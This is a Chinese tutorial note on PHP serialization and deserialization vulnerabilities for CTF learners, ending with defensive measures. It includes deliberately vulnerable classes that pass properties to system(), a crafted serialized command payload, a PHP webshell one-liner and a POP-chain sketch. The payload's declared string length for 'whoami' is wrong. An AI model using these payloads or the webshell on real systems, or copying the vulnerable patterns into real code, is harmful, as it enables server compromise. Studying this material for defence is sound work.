web安全入门学习笔记6——PHP序列化和反序列化

PHP序列化与反序列化通俗详解

基本概念比喻

想象你有​​一盒乐高玩具​​:

  • ​序列化​​:把搭建好的乐高模型拆解,所有零件按规则放入包装盒(变成字符串)
  • ​反序列化​​:按图纸从盒子里取出零件重新组装成模型(字符串变回对象)

一、序列化(Serialization)

将​​对象​​或​​数据结构​​转换成可存储/传输的字符串格式。

示例代码
class User {
    public $name = 'Hacker';
    private $id = 1001;
    protected $role = 'admin';
    
    public function showRole() {
        return $this->role;
    }
}

$user = new User();
$serialized = serialize($user);
echo $serialized;

输出结果

O:4:"User":3:{
    s:4:"name";s:6:"Hacker";
    s:7:"\0User\0id";i:1001;
    s:9:"\0*\0role";s:5:"admin";
}

格式解析:

  • O:对象(Object)
  • 4:类名长度("User")
  • "User":类名
  • 3:属性数量
  • s:4:"name":字符串属性,长度4,名称"name"
  • s:6:"Hacker":字符串值,长度6
  • s:7:"\0User\0id":私有属性格式 \0类名\0属性名
  • s:9:"\0*\0role":保护属性格式 \0*\0属性名

二、反序列化(Unserialization)

将序列化字符串还原为PHP对象或数据结构

$data = 'O:4:"User":3:{s:4:"name";s:6:"Hacker";s:7:"\0User\0id";i:1001;s:9:"\0*\0role";s:5:"admin";}';

$restored = unserialize($data);
echo $restored->showRole(); // 输出"admin"

三、安全风险:反序列化漏洞原理

危险根源:魔术方法

PHP在反序列化时会自动调用特殊方法:

魔术方法触发时机常见风险操作
__wakeup()反序列化后立即执行数据库连接/文件操作
__destruct()对象销毁时执行删除文件/写入日志
__toString()对象被当作字符串使用XSS/代码拼接
漏洞示例代码
class Dangerous {
    public $cmd;
    
    public function __destruct() {
        system($this->cmd);  // 对象销毁时执行系统命令
    }
}

// 攻击者构造的恶意序列化数据
$evil = 'O:9:"Dangerous":1:{s:4:"cmd";s:8:"whoami";}';

// 受害者反序列化恶意数据
$obj = unserialize($evil); // 此时对象创建

// 脚本结束时$obj自动销毁,触发__destruct()执行whoami命令

四、CTF中的典型利用方式

1. 直接命令执行
class Payload {
    function __wakeup() {
        echo shell_exec($this->cmd);
    }
}
unserialize($_COOKIE['payload']);
2. 文件操作(写webshell)
class WebShell {
    function __destruct() {
        file_put_contents(
            $this->filename, 
            '<?php system($_GET["cmd"]);?>'
        );
    }
}
// 序列化payload:设置filename=shell.php
3. POP链攻击

组合多个类的魔术方法实现复杂攻击:

class Database {
    public $connection;
    function __destruct() {
        $this->connection->exec($this->query);
    }
}

class Connection {
    public $sql;
    function exec($sql) {
        system($this->sql);
    }
}

// 构造链式触发:
// Database销毁 -> 调用Connection的exec -> 执行系统命令

五、防御措施

1、永远不要反序列化用户输入​

// 绝对禁用
unserialize($_POST['data']);

2、使用JSON等安全格式替代

// 安全做法
json_decode($_POST['data'], true);

3、限制可用类(PHP 7+)

$data = unserialize($serialized, [
    'allowed_classes' => ['SafeClass'] 
]);

4、严格校验数据

if(!preg_match('/^[a-z0-9]+$/', $data)) {
    die("Invalid data");
}

现实类比总结

  1. ​序列化​​:将武器拆解后放入快递箱
  2. ​反序列化​​:收件人重新组装武器
  3. ​漏洞​​:攻击者篡改零件,组装成定时炸弹
  4. ​防御​​:只接收信任来源的零件,严格验货

在CTF竞赛中,理解序列化机制是解决Web类题目的关键技能之一!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值